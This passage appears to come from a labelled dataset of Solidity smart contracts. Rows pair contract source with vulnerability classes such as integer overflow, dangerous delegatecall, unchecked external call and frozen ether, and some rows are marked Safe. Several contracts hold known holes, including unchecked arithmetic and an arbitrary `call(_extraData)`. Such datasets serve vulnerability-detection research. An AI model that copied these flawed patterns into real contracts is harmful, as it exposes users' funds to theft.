SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); totalSupply = SafeMath.safeSub(totalSupply,_value); Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns (bool success) { if (freezeOf[msg.sender] < _value) throw; if (_value <= 0) throw; freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true; } function withdrawEther(uint256 amount) { if(msg.sender != owner)throw; owner.transfer(amount); } function() payable { } }",./Dataset/integer overflow (OF)/,4,4 206.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor( uint256 initialSupply,string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 22345.sol,"pragma solidity ^0.4.21; contract Proxied { address public masterCopy; } contract Proxy is Proxied { function Proxy(address _masterCopy) public { require(_masterCopy != 0); masterCopy = _masterCopy; } function () external payable { address _masterCopy = masterCopy; assembly { calldatacopy(0, 0, calldatasize()) let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch success case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } contract DutchExchangeProxy is Proxy { function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { } }",./Dataset/dangerous delegatecall (DE)/,1,1 36184.sol,"// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.11; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract CNYToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } address public founder; // The address of the founder string public name; // fancy name: eg Simon Bucks uint8 public decimals; // How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; // An identifier: eg SBX string public version = 'CNY1.0'; // CNY 0.1 standard. Just an arbitrary versioning scheme. // The nonce for avoid transfer replay attacks mapping(address => uint256) nonces; // The last comment for address mapping(address => string) lastComment; // The comments for transfers per address mapping (address => mapping (uint256 => string)) comments; function CNYToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) { founder = msg.sender; // Save the creator address balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } function transferWithComment(address _to, uint256 _value, string _comment) returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; lastComment[msg.sender] = _comment; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFromWithComment(address _from, address _to, uint256 _value, string _comment) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; lastComment[_from] = _comment; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /* * Proxy transfer CNY token. When some users of the ethereum account has no ether, * he or she can authorize the agent for broadcast transactions, and agents may charge agency fees * @param _from * @param _to * @param _value * @param fee * @param _v * @param _r * @param _s * @param _comment */ function transferProxy(address _from, address _to, uint256 _value, uint256 _fee, uint8 _v,bytes32 _r, bytes32 _s, string _comment) returns (bool){ if(balances[_from] < _fee + _value) throw; uint256 nonce = nonces[_from]; bytes32 hash = sha3(_from,_to,_value,_fee,nonce); bytes memory prefix = ""\x19Ethereum Signed Message:\n32""; bytes32 prefixedHash = sha3(prefix, hash); if(_from != ecrecover(prefixedHash,_v,_r,_s)) throw; if(balances[_to] + _value < balances[_to] || balances[msg.sender] + _fee < balances[msg.sender]) throw; balances[_to] += _value; Transfer(_from, _to, _value); balances[msg.sender] += _fee; Transfer(_from, msg.sender, _fee); balances[_from] -= _value + _fee; lastComment[_from] = _comment; comments[_from][nonce] = _comment; nonces[_from] = nonce + 1; return true; } /* * Proxy approve that some one can authorize the agent for broadcast transaction * which call approve method, and agents may charge agency fees * @param _from The address which should tranfer CNY to others * @param _spender The spender who allowed by _from * @param _value The value that should be tranfered. * @param _v * @param _r * @param _s * @param _comment */ function approveProxy(address _from, address _spender, uint256 _value, uint8 _v,bytes32 _r, bytes32 _s, string _comment) returns (bool success) { if(balances[_from] < _value) throw; uint256 nonce = nonces[_from]; bytes32 hash = sha3(_from,_spender,_value,nonce); bytes memory prefix = ""\x19Ethereum Signed Message:\n32""; bytes32 prefixedHash = sha3(prefix, hash); if(_from != ecrecover(prefixedHash,_v,_r,_s)) throw; allowed[_from][_spender] = _value; Approval(_from, _spender, _value); lastComment[_from] = _comment; comments[_from][nonce] = _comment; nonces[_from] = nonce + 1; return true; } /* * Get the nonce * @param _addr */ function getNonce(address _addr) constant returns (uint256){ return nonces[_addr]; } /* * Get last comment * @param _addr */ function getLastComment(address _addr) constant returns (string){ return lastComment[_addr]; } /* * Get specified comment * @param _addr */ function getSpecifiedComment(address _addr, uint256 _nonce) constant returns (string){ if (nonces[_addr] < _nonce) throw; return comments[_addr][_nonce]; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } /* Approves and then calls the contract code*/ function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //Call the contract code if(!_spender.call(_extraData)) { throw; } return true; } /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); function burn(uint256 _value) returns (bool success) { if (balances[msg.sender] < _value) throw; // Check if the sender has enough balances[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) returns (bool success) { if (balances[_from] < _value) throw; // Check if the sender has enough if (_value > allowed[_from][msg.sender]) throw; // Check allowance balances[_from] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(_from, _value); return true; } /* This notifies clients about the amount increament */ event Increase(address _to, uint256 _value); // Allocate tokens to the users // @param _to The owner of the token // @param _value The value of the token function allocateTokens(address _to, uint256 _value) { if(msg.sender != founder) throw; // only the founder have the authority if(totalSupply + _value <= totalSupply || balances[_to] + _value <= balances[_to]) throw; totalSupply += _value; balances[_to] += _value; Increase(_to,_value); } }",./Dataset/unchecked external call (UC),7,7 12692.sol," pragma solidity ^0.4.23; contract References { mapping (bytes32 => address) internal references; } contract AuthorizedList { bytes32 constant PRESIDENT = keccak256(""Republics President!""); bytes32 constant STAFF_MEMBER = keccak256(""Staff Member.""); bytes32 constant AIR_DROP = keccak256(""Airdrop Permission.""); bytes32 constant INTERNAL = keccak256(""Internal Authorization.""); mapping (address => mapping(bytes32 => bool)) authorized; } contract Authorized is AuthorizedList { function Authorized() public { authorized[msg.sender][PRESIDENT] = true; } modifier ifAuthorized(address _address, bytes32 _authorization) { require(authorized[_address][_authorization] || authorized[_address][PRESIDENT], ""Not authorized to access!""); _; } function isAuthorized(address _address, bytes32 _authorization) public view returns (bool) { return authorized[_address][_authorization]; } function toggleAuthorization(address _address, bytes32 _authorization) public ifAuthorized(msg.sender, PRESIDENT) { require(_address != msg.sender, ""Cannot change own permissions.""); if (_authorization == PRESIDENT && !authorized[_address][PRESIDENT]) authorized[_address][STAFF_MEMBER] = false; authorized[_address][_authorization] = !authorized[_address][_authorization]; } } contract main is References, AuthorizedList, Authorized { event LogicUpgrade(address indexed _oldbiz, address indexed _newbiz); event StorageUpgrade(address indexed _oldvars, address indexed _newvars); function main(address _logic, address _storage) public Authorized() { require(_logic != address(0), ""main: Unexpectedly logic address is 0x0.""); require(_storage != address(0), ""main: Unexpectedly storage address is 0x0.""); references[bytes32(0)] = _logic; references[bytes32(1)] = _storage; } function setReference(address _address, bytes32 _key) external ifAuthorized(msg.sender, PRESIDENT) { require(_address != address(0), ""setReference: Unexpectedly _address is 0x0""); if (_key == bytes32(0)) emit LogicUpgrade(references[bytes32(0)], _address); else emit StorageUpgrade(references[_key], _address); if (references[_key] != address(0)) delete references[_key]; references[_key] = _address; } function getReference(bytes32 _key) external view ifAuthorized(msg.sender, PRESIDENT) returns(address) { return references[_key]; } function() external payable { address _target = references[bytes32(0)]; assembly { let _calldata := mload(0x40) mstore(0x40, add(_calldata, calldatasize)) calldatacopy(_calldata, 0x0, calldatasize) switch delegatecall(gas, _target, _calldata, calldatasize, 0, 0) case 0 { revert(0, 0) } default { let _returndata := mload(0x40) returndatacopy(_returndata, 0, returndatasize) mstore(0x40, add(_returndata, returndatasize)) return(_returndata, returndatasize) } } } }",./Dataset/ether frozen (EF),2,2 0x00dd4506b0893b893d29bfe3805bc6d9080319e4_ESMBCoin.sol,"pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ESMBCoin is StandardToken{ string public name = ""ESMBCoin""; string public symbol = ""ESMB""; uint8 public decimals = 18; uint256 public INITIAL_SUPPLY = 2000000000*10**18; function ESMBCoin() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }",Safe,8,8 0x039EDb0D0613c58F45A777Ab5DBf7CAfCc7dE9cd_Crowdsale.sol,"pragma solidity ^0.4.15; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract GlobalCryptoBank is MintableToken { string public constant name = ""Global Crypto Bank""; string public constant symbol = ""BANK""; uint32 public constant decimals = 18; uint public INITIAL_SUPPLY = 50000000 * 1 ether; function GlobalCryptoBank() { mint(owner, INITIAL_SUPPLY); transfer(0x0e2Bec7F14F244c5D1b4Ce14f48dcDb88fB61690, 2000000 * 1 ether); finishMinting(); } } contract Crowdsale is Ownable { using SafeMath for uint; address founderAddress; address bountyAddress; uint preIsoTokenLimit; uint isoTokenLimit; uint preIsoStartDate; uint preIsoEndDate; uint isoStartDate; uint isoEndDate; uint rate; uint founderPercent; uint bountyPercent; uint public soldTokens = 0; GlobalCryptoBank public token = new GlobalCryptoBank(); function Crowdsale () payable { founderAddress = 0xF12B75857E56727c90fc473Fe18C790B364468eD; bountyAddress = 0x0e2Bec7F14F244c5D1b4Ce14f48dcDb88fB61690; founderPercent = 90; bountyPercent = 10; rate = 300 * 1 ether; preIsoStartDate = 1509321600; preIsoEndDate = 1511049600; isoStartDate = 1511568000; isoEndDate = 1514678399; preIsoTokenLimit = 775000 * 1 ether; isoTokenLimit = 47225000 * 1 ether; } modifier isUnderPreIsoLimit(uint value) { require((soldTokens+rate.mul(value).div(1 ether)+rate.mul(value).div(1 ether).mul(getPreIsoBonusPercent(value).div(100))) <= preIsoTokenLimit); _; } modifier isUnderIsoLimit(uint value) { require((soldTokens+rate.mul(value).div(1 ether)+rate.mul(value).div(1 ether).mul(getIsoBonusPercent(value).div(100))) <= isoTokenLimit); _; } function getPreIsoBonusPercent(uint value) private returns (uint) { uint eth = value.div(1 ether); uint bonusPercent = 0; if (now >= preIsoStartDate && now <= preIsoStartDate + 2 days) { bonusPercent += 35; } else if (now >= preIsoStartDate + 2 days && now <= preIsoStartDate + 7 days) { bonusPercent += 33; } else if (now >= preIsoStartDate + 7 days && now <= preIsoStartDate + 14 days) { bonusPercent += 31; } else if (now >= preIsoStartDate + 14 days && now <= preIsoStartDate + 21 days) { bonusPercent += 30; } if (eth >= 1 && eth < 10) { bonusPercent += 2; } else if (eth >= 10 && eth < 50) { bonusPercent += 4; } else if (eth >= 50 && eth < 100) { bonusPercent += 8; } else if (eth >= 100) { bonusPercent += 10; } return bonusPercent; } function getIsoBonusPercent(uint value) private returns (uint) { uint eth = value.div(1 ether); uint bonusPercent = 0; if (now >= isoStartDate && now <= isoStartDate + 2 days) { bonusPercent += 20; } else if (now >= isoStartDate + 2 days && now <= isoStartDate + 7 days) { bonusPercent += 18; } else if (now >= isoStartDate + 7 days && now <= isoStartDate + 14 days) { bonusPercent += 15; } else if (now >= isoStartDate + 14 days && now <= isoStartDate + 21 days) { bonusPercent += 10; } if (eth >= 1 && eth < 10) { bonusPercent += 2; } else if (eth >= 10 && eth < 50) { bonusPercent += 4; } else if (eth >= 50 && eth < 100) { bonusPercent += 8; } else if (eth >= 100) { bonusPercent += 10; } return bonusPercent; } function buyPreICOTokens(uint value, address sender) private isUnderPreIsoLimit(value) { founderAddress.transfer(value.div(100).mul(founderPercent)); bountyAddress.transfer(value.div(100).mul(bountyPercent)); uint tokens = rate.mul(value).div(1 ether); uint bonusTokens = 0; uint bonusPercent = getPreIsoBonusPercent(value); bonusTokens = tokens.mul(bonusPercent).div(100); tokens += bonusTokens; soldTokens += tokens; token.transfer(sender, tokens); } function buyICOTokens(uint value, address sender) private isUnderIsoLimit(value) { founderAddress.transfer(value.div(100).mul(founderPercent)); bountyAddress.transfer(value.div(100).mul(bountyPercent)); uint tokens = rate.mul(value).div(1 ether); uint bonusTokens = 0; uint bonusPercent = getIsoBonusPercent(value); bonusTokens = tokens.mul(bonusPercent).div(100); tokens += bonusTokens; soldTokens += tokens; token.transfer(sender, tokens); } function() external payable { if (now >= preIsoStartDate && now < preIsoEndDate) { buyPreICOTokens(msg.value, msg.sender); } else if (now >= isoStartDate && now < isoEndDate) { buyICOTokens(msg.value, msg.sender); } } }",Safe,8,8 34718.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract test2 is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function test2( ) { balances[msg.sender] = 10000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000; // Update total supply (100000 for example) name = ""test2""; // Set the name for display purposes decimals = 2; // Amount of decimals for display purposes symbol = ""tt2""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x05240da139d30034eaae15737610bfbe68b97910_Rouleth.sol,"// , ; , .-'""""""'-. , ; , // \\|/ .' '. \|// // \-;-/ () () \-;-/ // // ; ; \\ // //__; :. .; ;__\\ // `-----\'.'-.....-'.'/-----' // '.'.-.-,_.'.' // '( (..-' // '-' // WHYSOS3RIOUS PRESENTS : // The ROULETH // // Play the Roulette on ethereum blockchain ! // (or become an investor in the Casino and share the profits/losses.) // // // Full GUI on website with all info to play : // // 